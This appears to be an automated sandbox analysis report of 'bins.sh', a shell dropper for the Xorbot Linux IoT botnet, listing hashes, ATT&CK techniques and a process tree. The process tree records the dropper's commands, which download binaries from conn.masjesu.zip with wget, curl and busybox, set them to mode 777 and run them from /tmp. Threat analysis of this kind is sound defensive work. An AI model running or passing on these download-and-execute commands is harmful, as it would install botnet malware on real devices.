xorbot | 0c98e0fe3095251bda67f56c1d0191655abe6fd06af268a285d01b3f6130d4cb

Analysis

max time kernel
149s
max time network
142s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02-12-2024 08:49

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General

Target

bins.sh
Size

10KB
MD5

95f64917ffeea05c92415120a3b8973c
SHA1

0de840a652d6cd1f5e0006705be7c0708859dd2c
SHA256

0c98e0fe3095251bda67f56c1d0191655abe6fd06af268a285d01b3f6130d4cb
SHA512

8c781bc37253d511e84cbdd0349c8482387bd7d01bd1bac208c3b58375c566c37c936a22579bf5eef25621a7827834ffaab57c23973cdc69d4173a4d21be4549
SSDEEP

192:l+7OdqwtpE/3otdEHDm664gVGK4tdEHD764gVGKyxitpE/3H:l+adqwtpE/3er4gVGK+4gVGKy0tpE/3H

Score

10^/10

xorbot antivm botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
805	chmod

Executes dropped EXE 1 IoCs

Processes:

C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh

ioc	pid	Process
/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	806	C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlbusyboxwgetcurl

pid	Process
676	wget
684	curl
804	busybox
809	wget
810	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curl

description	ioc	Process
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:668
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:674
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - System Network Configuration Discovery
  PID:676
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - System Network Configuration Discovery
  PID:804
- /bin/chmod
  chmod 777 C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  ./C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  PID:808
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - System Network Configuration Discovery
  PID:809
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:810

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

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